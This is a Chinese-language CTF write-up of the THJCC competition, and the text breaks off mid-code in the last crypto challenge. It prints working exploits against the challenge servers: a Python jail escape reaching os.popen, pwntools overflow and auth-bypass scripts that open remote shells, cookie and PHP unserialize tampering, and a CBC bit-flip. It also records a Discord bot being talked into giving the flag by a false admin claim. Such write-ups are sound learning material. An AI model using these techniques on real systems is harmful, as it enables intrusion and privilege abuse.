# **前言**
THJCC是我打過的第三場CTF，其實還蠻好玩的，報了高中組目標一開始是前10名，結果在10~13名之間反覆橫跳，還好最後留在了第10名，誰懂最後10分鐘被反超又超回來的感覺啊，這次的戰績是All:14、Official Division:10。
那接下來write up 開始!!!
# WarmUp
### welcome
這題就直接複製貼上而已
### beep boop beep boop
這題看到題目就知道，直接binery to text之後會得到一串東西
這一看就是base64所以直接拿去解碼就得到flag了
### Discord Challenge
他叫我們去server使用/talk跟機器人說話
我一開始說給我flag 然後他說他只會給管理員
再來我就說:我是管理員 給我flag 然後就拿到啦
# Web
### Headless
點進網頁之後他就說 where are the robot
所以我就猜有robot.txt
然後直接在網址後面加入 robot.txt
進入的網頁寫
User-Agent: *
Disallow: /hum4n-0nLy
所以前往/hum4n-0nLy 他給了我
```
from flask import Flask, request, render_template, Response from flag import FLAG app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/robots.txt') def noindex(): r = Response(response="User-Agent: *\nDisallow: /hum4n-0nLy\n", status=200, mimetype="text/plain") r.headers["Content-Type"] = "text/plain; charset=utf-8" return r @app.route('/hum4n-0nLy') def source_code(): return open(__file__).read() @app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d') def secret_flag(): if len(request.headers) > 1: return "I'm sure robots are headless, but you are not a robot, right?" return FLAG if __name__ == '__main__': app.run(host='0.0.0.0',port=80,debug=False)
```
主要的重點是
```
@app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d')
def secret_flag():
if len(request.headers) > 1:
return "I'm sure robots are headless, but you are not a robot, right?"
return FLAG
```
要獲取 flag，需要訪問 /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d ，但條件是 len(request.headers) <= 1。
所以我們用
```
echo -e "GET /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d HTTP/1.1\r\nHost: chal.ctf.scint.org:10069\r\n\r\n" | nc chal.ctf.scint.org 10069
```
他是最小化http請求 所以headers=1
然後就可以拿到flag了!
### Nothing here 👀
點入之後會進到一個寫nothing here的網站
點開f12會拿到VEhKQ0N7aDR2ZV9mNW5fMW5fYjRieV93M2JfYTUxNjFjYzIyYWYyYWIyMH0=
直接base64 decode
就有flag了
### APPL3 STOR3🍎
必須說這題我想了很久，好像是結束前2小時才解出來，我一開始以為要直接購買網頁中的商品
```
document.cookie = "Product_Prices=0; path=/";
fetch('/buy?id=85', { credentials: 'include' })
.then(res => res.text())
.then(console.log);
```
阿結果就跑出了購買成功，結果裡面寫假的，阿後來也嘗試id flag 結果被rickroll，結果最後發現，有商品id=85 id=86 id=88的商品 但是沒有87，所以看了id=87 發現他是隱藏頁面，商品叫做flag
所以直接購買，就拿到flag了
```
document.cookie = "Product_Prices=0; path=/";
document.cookie = "id=87; path=/";
fetch('/buy?id=87', {
credentials: 'include'
})
.then(res => res.text())
.then(console.log);
```
### Lime Ranger
他說是medium但其實十分簡單，整個頁面重點是這段
```
if(isset($_GET["bonus_code"])){
$code = $_GET["bonus_code"];
$new_inv = @unserialize($code);
if(is_array($new_inv)){
foreach($new_inv as $key => $value){
if(isset($_SESSION["inventory"][$key]) && is_numeric($value)){
$_SESSION["inventory"][$key] += $value;
}
}
}
}
```
這裡允許我們透過 bonus_code 參數傳送經過 unserialize() 的資料，直接影響 $_SESSION["inventory"] 的內容。
最後觸發
```
if(isset($_GET["sellacc"])){
if($_SESSION["inventory"]["UR"] + $_SESSION["inventory"]["SSR"] >= 10){
exit("$flag");
} else {
exit('你的帳號不值錢！');
}
}
```
我們傳入一段能讓 UR 和 SSR 總和大於等於 10 的序列化字串。舉例：
`a:2:{s:2:"UR";i:6;s:3:"SSR";i:4;}`
這會加 6 個 UR、4 個 SSR，總和為 10。
因為這是 GET 傳參數，要把 " 和 {} 等字符做 URL encode
```
a%3A2%3A%7Bs%3A2%3A%22UR%22%3Bi%3A6%3Bs%3A3%3A%22SSR%22%3Bi%3A4%3B%7D
```
最後
```
http://chal.ctf.scint.org:8004/?bonus_code=a%3A2%3A%7Bs%3A2%3A%22UR%22%3Bi%3A6%3Bs%3A3%3A%22SSR%22%3Bi%3A4%3B%7D
```
並且打開
```
http://chal.ctf.scint.org:8004/?sellacc
```
就有flag啦
### proxy | under_development
### i18n
### Memory-Catcher🧠
### 玩猜拳換免費flag
其實misc剩下這些題目我都沒解出來，所以之後有時間解完再寫write up!!!
# Misc
### network noise
這題給的檔案，打開之後我原本電腦有下載wireshark 然後他就直接打開了
然後發現其中會有像這樣的東西
所以就直接用wireshark的搜尋
```
frame contains "THJCC"
```
flag就找到啦
### Seems like someone’s breaking down😂
這題給了一個app log
因為題目說找出是誰破壞了他的門，所以我丟給chatgpt叫他找出現最多次的密碼
有一個出現了8次的密碼
```
VEhKQ0N7ZmFrZWZsYWd9
```
但base64 decode之後他是THJCC{fakeflag}
但有另一個出現了一次的
```
VEhKQ0N7TDBnX0YwcjNONTFDNV8xc19FNDVZfQ==
```
拿去base64就有flag啦!
### Setsuna Message
]
題目給了
D'`A@^8!}}Y32DC/eR,>=/('9JIkFh~ffAAca=+u)\[qpun4lTpih.lNdihg`_%]E[Z_X|\>ZSwQVONr54PINGkEJCHG@d'&BA@?8\<|43Wx05.R,10/('Kl$)"!E%e{z@~}v<z\rqvutm3Tpihmf,dLhgf_%FE[`_X]Vz=YXQPta
但我看不懂
所以等候面提示出來時 他說
Some things will not succeed if you just observe them. You need to execute them so that they can lead you to the final path.
Having said that, his level of chaos is beyond imagination. Although it is not as exaggerated as the 18th level of hell, it can be regarded as the 8th level of hell.
後來根據8th level of hell查到了
Malbolge字面來源就是地獄的第八層！
然後拿去malbolge online compiler
得到一串東西
拿去base64解碼就拿到flag了
### Hidden in memory...
這題給了一個memdump.dmp檔案
然後他說要找computer name
所以直接
```
strings memdump.dmp | grep -i "COMPUTERNAME="
```
就會看到
COMPUTERNAME=WH3R3-Y0U-G3TM3
就過了!
### Pyjail02
這題覺得很有趣
載下來的東西重點是 jail.py
接收用戶輸入，並使用unicodedata.normalize("NFKC", input("> "))進行Unicode正規化
使用eval()執行用戶輸入，但移除了所有內建函數：{"__builtins__":{}}
沒有提供任何全局變量：{}
本身就是寫python的
雖然移除了__builtins__，但Python中還有其他方法可以獲取系統功能
從一個基本對象（如元組()）獲取其類(__class__)
獲取其基類(__base__)，這通常是object類
獲取所有的子類(__subclasses__())，這會返回Python環境中所有繼承自object的類
然後我們可以找到能夠幫助我們讀取文件的類，如FileType、os._wrap_close等。
首先 我們使用
```
[x.__name__ for x in ''.__class__.__mro__[1].__subclasses__()]
```
列出所以subclasses
結果有找到
```
'_wrap_close'
```
為了確認他的index 我用底下程式來找
```
import socket
import time
HOST = "chal.ctf.scint.org"
PORT = 19001
def try_index_for_wrap_close(start=100, end=200):
for i in range(start, end):
payload = f"''.__class__.__mro__[1].__subclasses__()[{i}].__name__"
try:
with socket.create_connection((HOST, PORT), timeout=3) as s:
s.recv(1024) # welcome msg
s.sendall((payload + "\n").encode())
time.sleep(0.4)
resp = s.recv(2048).decode(errors="ignore")
print(f"[{i}] = {resp.strip()}")
if "_wrap_close" in resp:
print(f" FOUND _wrap_close at index {i}!")
return i
except Exception as e:
print(f"[{i}] error: {e}")
print("❌ _wrap_close not found in given range.")
return None
if __name__ == "__main__":
try_index_for_wrap_close()
```
再來我們
```
''.__class__.__mro__[1].__subclasses__()[141].__init__.__globals__.keys()
```
我們從 _wrap_close.__init__.__globals__ 中發現了：
✅ 'popen'
✅ 'fdopen'
✅ _wrap_close 本身
✅ 所有系統調用 like chdir, getcwd, fork, execvp, read, ...
這表示這整包其實就是從 os 模組匯進來的 function、變數集合。而 popen 這個 key，就正是我們要的！
最後使用
```
''.__class__.__mro__[1].__subclasses__()[141].__init__.__globals__['popen']("cat flag.txt").read()
```
就有flag了
### Pyjail01
### There Is Nothing! 🏞️
### Where's My Partner?
剩下的也都還沒解出來，之後會解!!!
# Pwn
### Flag Shopping
```
#include <stdio.h>
#include <stdlib.h>
int main(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf(" Welcome to the FLAG SHOP!!!\n");
printf("===================================================\n\n");
int money = 100;
int price[4] = {0, 25, 20, 123456789};
int own[4] = {};
int option = 0;
long long num = 0;
while(1){
printf("Which one would you like? (enter the serial number)\n");
printf("1. Coffee\n");
printf("2. Tea\n");
printf("3. Flag\n> ");
scanf("%d", &option);
if (option < 1 || option > 3){
printf("invalid option\n");
continue;
}
printf("How many do you need?\n> ");
scanf("%lld", &num);
if (num < 1){
printf("invalid number\n");
continue;
}
if (money < price[option]*(int)num){
printf("You only have %d, ", money);
printf("But it cost %d * %d = %d\n", price[option], (int)num, price[option]*(int)num);
continue;
}
money -= price[option]*(int)num;
own[option] += num;
if (own[3]){
printf("flag{fake_flag}");
exit(0);
}
}
}
```
他給的程式有個漏洞
```
money -= price[option]*(int)num;
```
```
if (money < price[3]*(int)num) // 若為負數就會跳過檢查
```
而 own[3] += num; 是使用原本的 long long num，可以用極大正數灌進去，直接觸發
利用整數轉型導致金額乘積為負，繞過金額檢查：
輸入商品選項 3（flag）
輸入 num = 4294967295（即 0xFFFFFFFF）
這個值
作為 long long 是正整數
但轉成 (int) 是 -1（因為超過 32bit 變成負數）
程式行為變成：
```
if (100 < 123456789 * -1) -> false
money -= -123456789; // 實際變成 money += 123456789
own[3] += 4294967295; // 大於 0 -> 拿到 flag
```
最後得到flag
### Money Overflow
「Shop」題目 Write Up
程式實現了一個簡單的商店系統，顧客初始有 100 元
程式使用 gets() 函數讀取顧客名稱，這是一個不安全的函數，容易造成緩衝區溢出
顧客資訊儲存在一個結構體中：
```
cstruct {
int id;
char name[20];
unsigned short money;
} customer;
```
若要獲得 shell，需要使 money 值達到或超過 65535\
利用 gets() 函數的緩衝區溢出漏洞
構造輸入使其填滿 name 的 20 個字節，然後用 0xFF 0xFF 覆蓋 money 的 2 個字節
選擇選項 5 獲取 shell
讀取 /flag.txt 取得 flag
於是讓claude寫出
```
from pwn import *
# 連接到遠程服務
conn = remote('chal.ctf.scint.org', 10001)
# 準備 payload，覆蓋 money 為 0xFFFF (65535)
payload = b'A' * 20 + p16(0xFFFF)
conn.sendlineafter(b'Enter your name: ', payload)
conn.sendlineafter(b'Buy > ', b'5')
conn.interactive()
```
然後輸入 cat /flag.txt就有flag啦!
### Insecure Shell
提示告訴我們 "SSH is outdated, ISSH is a more convenient alternative"。
題目給的
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
void init()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
int check_password(char *a, char *b, int length)
{
for (int i = 0; i < length; i++)
if (a[i] != b[i])
return 1;
return 0;
}
int main()
{
init();
char password[0x10];
char buf[0x10];
int fd = open("/dev/urandom", O_RDONLY);
if (fd < 0)
{
printf("Error opening /dev/urandom. If you see this. call admin");
return 1;
}
read(fd, password, 15);
printf("Enter the password >");
scanf("%15s", buf);
if (check_password(password, buf, strlen(buf)))
printf("Wrong password!\n");
else
system("/bin/sh");
}
```
1.程式從 /dev/urandom 讀取 15 個字節作為密碼，存儲在一個 16 字節的緩衝區 password 中
2.程式使用 scanf("%15s", buf) 從用戶接收輸入
3.關鍵點在 check_password 函數：它使用 strlen(buf) 作為比較的長度
漏洞在於 check_password 函數使用了 strlen(buf) 作為比較的長度，而不是固定的密碼長度。這意味著，如果我們提供的輸入含有 null 字節 (\0)，那麼 strlen(buf) 會返回該 null 字節前的字符數。
更具體來說，如果我們發送的第一個字節就是 null 字節 (\0)，那麼 strlen(buf) 會返回 0，此時循環 for (int i = 0; i < length; i++) 不會執行，函數直接返回 0，表示密碼正確！
所以簡單直接
```
from pwn import *
conn = remote('chal.ctf.scint.org', 10004)
conn.recvuntil(b'>')
conn.sendline(b'\0')
conn.interactive()
```
然後cat /flag.txt
就有答案啦!
### Once
題目給
```
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>
void init()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
char charset[] = "!\"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
void main()
{
char secret[0x10];
char buf[0x10];
char is_sure = 'y';
init();
srand(time(NULL));
for (int i = 0; i < 15; i++)
{
secret[i] = charset[rand() % strlen(charset)];
}
secret[15] = 0;
printf("Guess the secret, you only have one chance\n");
while (1)
{
printf("guess >");
scanf("%15s", buf);
getchar();
printf("Your guess: ");
printf(buf); // 格式化字串漏洞在此
printf("\n");
printf("Are you sure? [y/n] >");
scanf("%1c", &is_sure);
getchar();
if (is_sure == 'y')
{
if (!strcmp(buf, secret))
{
printf("Correct answer!\n");
system("/bin/sh");
}
else
{
printf("Incorrect answer\n");
printf("Correct answer is %s\n", secret);
}
}
}
}
```
1.程式使用 printf(buf) 直接將用戶輸入作為格式化字串。
2.如果猜測錯誤，程式會顯示正確的 secret 值。
因此可以簡單得到:
輸入一個任意的錯誤猜測
確認猜測（回答 'y'）
從錯誤信息中提取正確的 secret
重新連接，輸入正確的 secret 值
獲取 shell
所以我們讓claude寫出
```
#!/usr/bin/env python3
from pwn import *
# 設定目標
target = 'chal.ctf.scint.org'
port = 10002
# 連接到目標
conn = remote(target, port)
# 獲取初始提示
conn.recvuntil(b'guess >')
# 輸入任意猜測（不是空字串），確保不正確
conn.sendline(b'wrong_guess')
# 獲取回應
conn.recvuntil(b'Your guess: ')
conn.recvline() # 這行是我們輸入的 wrong_guess
# 確認猜測
conn.recvuntil(b'Are you sure? [y/n] >')
conn.sendline(b'y') # 我們確定猜測
# 獲取 "Incorrect answer" 信息
conn.recvuntil(b'Incorrect answer\n')
# 獲取 "Correct answer is XXX" 信息
correct_line = conn.recvline().strip()
print(f"獲取的行: {correct_line}")
# 從信息中提取正確的 secret
if b'Correct answer is ' in correct_line:
secret = correct_line.split(b'Correct answer is ')[1]
print(f"正確的 secret 是: {secret}")
# 重新連接
conn.close()
conn = remote(target, port)
# 獲取初始提示
conn.recvuntil(b'guess >')
# 輸入正確的 secret
conn.sendline(secret)
# 獲取回應
conn.recvuntil(b'Your guess: ')
conn.recvline() # 這行是我們輸入的 secret
# 確認猜測
conn.recvuntil(b'Are you sure? [y/n] >')
conn.sendline(b'y') # 我們確定猜測
# 檢查是否獲得 shell
response = conn.recvline()
if b'Correct answer' in response:
print("成功獲取 shell!")
conn.interactive()
else:
print(f"未能獲取 shell. 回應: {response}")
else:
print("未能找到正確的 secret")
conn.close()
```
最後cat /flag.txt
就有答案啦!!!
### Little Parrot
這題解很久 但解不出來
### Bank Clerk
### Painter
剩下一樣之後解
# Crypto
欸嘿 來到我最喜歡的部分
### Twins
分析這題給的程式
可以看到一個奇怪的地方
```
def generate_twin_prime(N:int):
while True:
p = getPrime(N)
if isPrime(p + 2): return p, p + 2
```
這個函數生成了一對孿生素數，其中 q = p + 2。這是破解這個問題的關鍵，因為標準的 RSA 使用的是兩個獨立的素數，而這裡的 p 和 q 有特殊關係。
由於 q = p + 2，我們可以將 RSA 模數 N 表示為：
N = p * q = p * (p + 2) = p² + 2p
這可以重寫為二次方程：
p² + 2p - N = 0
使用二次方程求根公式：
p = (-2 + √(4 + 4N))/2 = (-1 + √(1 + N))
這讓我們能夠直接計算出 p 的值，而不需要進行因數分解。
解題步驟:
計算 p 和 q：
使用公式 p = (-1 + √(1 + N)) 計算 p
然後 q = p + 2
計算 φ(N)：
φ(N) = (p - 1) * (q - 1)
計算 d：
d = e⁻¹ mod φ(N)（e 的模反元素）
解密訊息：
原始訊息 m = C^d mod N
將 m 轉換為字節，得到 FLAG
```
import gmpy2
# 給定的值
N = 28265512785148668054687043164424479693022518403222612488086445701689124273153696780242227509530772578907204832839238806308349909883785833919803783017981782039457779890719524768882538916689390586069021017913449495843389734501636869534811161705302909526091341688003633952946690251723141803504236229676764434381120627728396492933432532477394686210236237307487092128430901017076078672141054391434391221235250617521040574175917928908260464932759768756492640542972712185979573153310617473732689834823878693765091574573705645787115368785993218863613417526550074647279387964173517578542035975778346299436470983976879797185599
e = 65537
C = 1234497647123308288391904075072934244007064896189041550178095227267495162612272877152882163571742252626259268589864910102423177510178752163223221459996160714504197888681222151502228992956903455786043319950053003932870663183361471018529120546317847198631213528937107950028181726193828290348098644533807726842037434372156999629613421312700151522193494400679327751356663646285177221717760901491000675090133898733612124353359435310509848314232331322850131928967606142771511767840453196223470254391920898879115092727661362178200356905669261193273062761808763579835188897788790062331610502780912517243068724827958000057923
# 計算 p
p = gmpy2.isqrt(N + 1) - 1
q = p + 2
# 確認 p*q 等於 N
assert p * q == N
# 計算 φ(N)
phi = (p - 1) * (q - 1)
# 計算私鑰 d
d = gmpy2.invert(e, phi)
# 解密訊息
m = pow(C, d, N)
# 整數轉字節
def long_to_bytes(n):
byteArray = []
while n:
byteArray.append(n & 0xFF)
n >>= 8
return bytes(byteArray[::-1])
# 獲取 FLAG
flag = long_to_bytes(m)
print("FLAG:", flag.decode())
```
然後就有答案啦
### DAES
首先讓我們分析一下給的程式：
```
#!/usr/bin/python3
from Crypto.Cipher import AES
from secret import FLAG
import random
import os
import signal
TIMEOUT = 120
def timeout_handler(signum, frame):
print("\nTime's up! No flag for u...")
exit()
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(TIMEOUT)
target = os.urandom(16)
keys = [b'whalekey:' + str(random.randrange(1000000, 1999999)).encode() for _ in range(2)]
def enc(key, msg):
ecb = AES.new(key, AES.MODE_ECB)
return ecb.encrypt(msg)
def daes(msg):
tmp = enc(keys[0], msg)
return enc(keys[1], tmp)
test = b'you are my fire~'
print(daes(test).hex())
print(daes(target).hex())
ans = input("Ans:")
if ans == target.hex():
print(FLAG)
else:
print("Nah, no flag for u...")
signal.alarm(0)
```
程式生成一個隨機的 16 位元組 target
它使用兩個隨機生成的密鑰加密數據，格式為 b'whalekey:' + 一個 1000000-1999999 之間的數字
DAES 加密過程是：先用第一個密鑰加密，再用第二個密鑰加密（雙重 AES-ECB 加密）
程式提供了已知明文 b'you are my fire~' 和其加密結果
程式還提供了目標明文 target 的加密結果
我們需要提供原始的 target 值才能獲得 FLAG
對於雙重加密系統，中間相遇攻擊可以將破解複雜度從 O(2^n × 2^n) 降低到 O(2^n + 2^n)，其中 n 是密鑰長度。
```
#!/usr/bin/python3
from Crypto.Cipher import AES
import time
# 已知值
known_plaintext = b'you are my fire~'
known_ciphertext_hex = "ddf47a00dcabe8bdf82ea8fbae129f4f"
target_ciphertext_hex = "c7f562b1cba2cb649d271e6a8c4f3b09"
# 轉換為字節
known_ciphertext = bytes.fromhex(known_ciphertext_hex)
target_ciphertext = bytes.fromhex(target_ciphertext_hex)
def mitm_attack():
print("開始中間相遇攻擊...")
start_time = time.time()
# 第一階段：建立所有可能的中間值和對應的輸入明文
lookup_table = {}
# 嘗試所有可能的密鑰1
print("第一階段：建立查詢表")
for i in range(1000000, 2000000):
if i % 100000 == 0:
print(f"處理進度: {i-1000000}/1000000")
key1 = b'whalekey:' + str(i).encode()
# 確保密鑰長度為 16 字節
key1 = key1[:16].ljust(16, b'\x00')
# 加密已知明文
cipher1 = AES.new(key1, AES.MODE_ECB)
intermediate = cipher1.encrypt(known_plaintext)
# 將中間值與密鑰1存入查詢表
lookup_table[intermediate] = key1
print(f"查詢表建立完成，大小: {len(lookup_table)}")
print(f"第一階段用時: {time.time() - start_time:.2f} 秒")
# 第二階段：嘗試所有可能的密鑰2
print("\n第二階段：尋找匹配")
phase2_start = time.time()
for i in range(1000000, 2000000):
if i % 100000 == 0:
print(f"處理進度: {i-1000000}/1000000")
key2 = b'whalekey:' + str(i).encode()
key2 = key2[:16].ljust(16, b'\x00')
# 用密鑰2解密已知密文
cipher2 = AES.new(key2, AES.MODE_ECB)
possible_intermediate = cipher2.decrypt(known_ciphertext)
# 檢查是否找到匹配
if possible_intermediate in lookup_table:
key1 = lookup_table[possible_intermediate]
print(f"\n找到密鑰組合！")
print(f"key1 = {key1}")
print(f"key2 = {key2}")
# 現在我們有了兩個密鑰，可以解密目標密文
# 首先，使用密鑰2解密
intermediate = cipher2.decrypt(target_ciphertext)
# 然後，使用密鑰1解密
cipher1 = AES.new(key1, AES.MODE_ECB)
target = cipher1.decrypt(intermediate)
print(f"\n成功解密目標！")
print(f"原始目標（hex）: {target.hex()}")
print(f"總用時: {time.time() - start_time:.2f} 秒")
return target.hex()
print("未找到匹配的密鑰組合。")
return None
if __name__ == "__main__":
result = mitm_attack()
if result:
print(f"\n最終答案: {result}")
print("請將此結果提交至原題。")
```
known_ciphertext_hex = "ddf47a00dcabe8bdf82ea8fbae129f4f"
target_ciphertext_hex = "c7f562b1cba2cb649d271e6a8c4f3b09"
這兩個是我那次連進去拿到的值
然後最後會得到一串key
輸入就會有flag啦!
### Frequency Freakout
我們拿到一個檔案 cipher.txt，內容是一段英文文字。我們透過觀察發現：
全部為大寫字母及標點符號。
字元重複次數不一，暗示不是單純的 Caesar Cipher，而是 一一對應的替換密碼（Monoalphabetic Substitution Cipher）。
裡面有一段
RUKTT{DFXDR1R1GW_TMJU3S_1D_TGG1}
所以我推測這是THJCC
替換密碼的一個關鍵弱點是它保留了原語言的字母頻率特性。英文中，字母出現頻率從高到低大致是：ETAOINSRHDLUCMFYWGPBVKXJQZ。
對密文進行頻率分析：
```
pythonfrom collections import Counter
import re
def frequency_analysis(text):
letters = re.findall(r'[A-Z]', text)
freq = Counter(letters)
total = len(letters)
return {char: count/total for char, count in freq.items()}
```
分析結果顯示，密文中出現頻率最高的字母是：B, R, M, W, D, G, S, Y, U, T...
根據已知的flag格式，我們可以確定初始對照：
```
R → T
U → H
K → J
T → C
C → C
```
這使我們可以部分解密flag：THJCC{DFXDT1T1GW_CMJH3S_1D_CGG1}
通過分析常見單詞模式和英文文本特性，我們逐步完成了完整的替換表：
```
A → G N → F
B → E O → Z
C → D P → X
D → S Q → K
E → L R → T
F → U S → R
G → O T → C
H → Q U → H
I → M V → V
J → P W → N
K → J X → B
L → W Y → A
M → I Z → Y
```
這個替換表是通過反覆推理和模式識別確定的。例如：
RUB是密文中最常見的單詞，可能對應英文中常見的THE
數字（如1、3）和特殊字符（如{、}、_）在密文中保持不變
解決方案
使用上述替換表對整個密文進行解密，我們得到了完整的明文：
IN THE WORLD OF CLASSICAL CRYPTOGRAPHY, MANY ENTHUSIASTS BEGIN WITH SIMPLE SUBSTITUTION CIPHERS. THESE BASIC TECHNIQUES DEMONSTRATE THE VULNERABILITY OF LETTER FREQUENCY AND SHOW HOW CERTAIN PATTERNS CAN REVEAL HIDDEN MESSAGES.
ONE OF THE MOST EXCITING EXERCISES IN LEARNING ABOUT CIPHERS IS TRYING TO CONSTRUCT YOUR OWN AND CHALLENGE OTHERS TO BREAK IT. WHILE MODERN ENCRYPTION METHODS HAVE FAR SURPASSED THESE TECHNIQUES IN COMPLEXITY AND STRENGTH, THE FUNDAMENTAL IDEAS REMAIN FASCINATING.
IF YOU'RE UP FOR A PUZZLE, HERE'S A CHALLENGE: THJCC{SUBST1T1ON_CIPH3R_1S_COO1} -J THIS MIGHT LOOK LIKE A RANDOM STRING, BUT IT'S NOT. HIDDEN WITHIN THIS SEQUENCE IS THE KEY TO UNDERSTANDING HOW SIMPLE LETTER SUBSTITUTION CAN STILL SPARK CURIOSITY AND FUN.
TRY DECODING IT OR EMBEDDING IT WITHIN YOUR OWN CIPHER. WHO KNOWS? YOU MIGHT JUST INSPIRE SOMEONE ELSE TO DIVE INTO THE WORLD OF CRYPTANALYSIS.
其中，我們找到了flag：THJCC{SUBST1T1ON_CIPH3R_1S_COO1}
### SNAKE
我們拿到兩個文件
output.txt - 包含一串奇怪的符號
chal.py - 加密程式的Python原始碼
```
SSSSS = input()
print("".join(["!@#$%^&*(){}[]:;"[int(x, 2)] for x in [''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4] for i in range(0, len(SSSSS) * 8, 4)]]))
```
接收使用者輸入 (SSSSS)
將每個字元轉換為ASCII值，然後轉為8位元二進制表示法
將整個二進制串每4位切分成一組
將每4位二進制值轉為十進制數字
使用這個十進制數字作為索引，從字元表 "!@#$%^&*(){}[]:;" 中選擇對應符號
最後將所有選出的符號連接起來輸出
要解密，我們需要逆向上述過程。解密步驟如下：
從 output.txt 中讀取加密後的符號
將每個符號轉換回它在字元表中的索引值
將索引值轉換為4位二進制
將二進制碼重新組合為8位一組，還原為ASCII碼
將ASCII碼轉換回原始字元
所以我們叫claude寫
不知道為何是js
```
// 讀取加密輸出
const outputContent = await window.fs.readFile('output.txt', { encoding: 'utf8' });
// 定義符號集
const symbolSet = "!@#$%^&*(){}[]:;";
// 建立符號到索引的映射
const symbolToIndex = {};
for (let i = 0; i < symbolSet.length; i++) {
symbolToIndex[symbolSet[i]] = i;
}
// 過濾有效符號
const cleanedOutput = outputContent.split('').filter(char => symbolSet.includes(char)).join('');
// 將符號轉換為索引
const indices = cleanedOutput.split('').map(char => symbolToIndex[char]);
// 將索引轉換為4位二進制
const binaryChunks = indices.map(index => index.toString(2).padStart(4, '0'));
// 將二進制塊每2個(即8位)組合成一個字符
let decodedText = "";
for (let i = 0; i < binaryChunks.length; i += 2) {
if (i + 2 <= binaryChunks.length) {
const charBinary = binaryChunks.slice(i, i + 2).join('');
const charCode = parseInt(charBinary, 2);
if (charCode >= 32 && charCode <= 126) { // 可印刷ASCII範圍
decodedText += String.fromCharCode(charCode);
} else {
decodedText += '?';
}
}
}
```
然後就有答案啦!
### Yoshino's Secret
```
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import FLAG
import json
import os
KEY = os.urandom(16)
def encrypt(plaintext: bytes) -> bytes:
iv = plaintext[:16]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
return iv + cipher.encrypt(pad(plaintext[16:], AES.block_size))
def decrypt(ciphertext: bytes) -> str:
iv = ciphertext[:16]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)
return plaintext
def check(token):
try:
token = bytes.fromhex(token)
passkey = decrypt(token)
data = json.loads(passkey)
if data["admin"]:
print(f"Here is your flag: {FLAG}")
exit()
else:
print("Access Denied")
except:
print("Hacker detected, emergency shutdown of the system")
exit()
def main():
passkey = b'{"admin":false,"id":"TomotakeYoshino"}'
token = encrypt(os.urandom(16) + passkey)
print(f"token: {token.hex()}")
while True:
token = input("token > ")
check(token)
```
程式使用 AES CBC 模式
加密函數中，IV 是從明文的前 16 字節直接取出的
程式會給我們一個 token，其中包含 {"admin":false,"id":"TomotakeYoshino"}
我們需要修改 token，使系統認為我們是 admin
AES CBC 模式的工作原理：
加密時：每塊密文與下一塊明文 XOR 後再加密
解密時：密文解密後與前一塊密文 XOR 得到明文
IV 是密文的一部分（前 16 字節）
修改 IV 會直接影響解密後的明文第一塊
CBC 的特性允許我們通過位翻轉攻擊修改明文內容
我收到的原始 token 是：
b1354b9d3fe208c37dd5b14a712368c2fcac7a0715479cd5c3ebfb1c95ffc8bc2b6b52820efcdb891a1dfdc89317b7de08ee0be2b0897f9fb4d26938c739a113
分析這個 token：
前 32 個字符（16 字節）是 IV：b1354b9d3fe208c37dd5b14a712368c2
剩餘部分是加密後的密文
我需要修改 IV，使得解密後 "admin":false 變成 "admin":true。具體需要修改 "false" 變成 "true"。
位翻轉計算
在 CBC 模式中，如果修改 IV 的第 i 位，會影響解密後明文的第 i 位。
觀察原始 token 和修改後的 token：
原始：b1354b9d3fe208c37dd5b14a712368c2...
修改：b1354b9d3fe208c37dc7a253676668c2...
可以看到我修改了 IV 中的幾個位置：
從 dd5b14a7 變成 dc7a2536
原始明文中 "f" 的 ASCII 碼是 0x66，"t" 的 ASCII 碼是 0x74
0x66 XOR 0x74 = 0x12，所以需要將 IV 對應位置進行 XOR 0x12 操作
以此類推，對其餘字母進行相應的位翻轉
最後解題
連接服務器獲取原始 token
分析位元翻轉需求，確定 IV 中需要修改的位置
修改 IV 使得 "false" 變成 "true"
提交修改後的 token
這是當時拿到的
```
# 原始token
original_token = "b1354b9d3fe208c37dd5b14a712368c2fcac7a0715479cd5c3ebfb1c95ffc8bc2b6b52820efcdb891a1dfdc89317b7de08ee0be2b0897f9fb4d26938c739a113"
# 修改後的token
modified_token = "b1354b9d3fe208c37dc7a253676668c2fcac7a0715479cd5c3ebfb1c95ffc8bc2b6b52820efcdb891a1dfdc89317b7de08ee0be2b0897f9fb4d26938c739a113"
```
直接將修改後的貼上
就有flag啦
### Speeded Block Cipher
題目給的程式
```
#!/usr/bin/python3
from secret import FLAG
import random
import os
KEY = os.urandom(16)
IV = os.urandom(16)
counter = 0
def pad(text: bytes) -> bytes:
padding = 16 - (len(text) % 16)
return text + bytes([padding]) * padding
def shift_rows(B: list):
M = [B[i: i + 4] for i in range(0, 16, 4)]
M[0][1], M[1][1], M[2][1], M[3][1] = M[1][1], M[2][1], M[3][1], M[0][1]
M[0][2], M[1][2], M[2][2], M[3][2] = M[2][2], M[3][2], M[0][2], M[1][2]
M[0][3], M[1][3], M[2][3], M[3][3] = M[3][3], M[0][3], M[1][3], M[2][3]
return bytes(M[0] + M[1] + M[2] + M[3])
def expand_key(K, PS):
for i in range(PS - 1):
NK = [(~(x + y)) & 0xFF for x, y in zip(K[i], K[i + 1])]
NK = [(x >> 4) | (x << 4) & 0xFF for x in NK]
NK = shift_rows(NK)
K.append(NK)
return K[1:]
def add(a: bytes, b: bytes) -> bytes:
return bytes([((x + 1) ^ y) & 0xff for x, y in zip(a, b)])
def encrypt(plaintext: bytes) -> bytes:
PS = len(plaintext) // 16
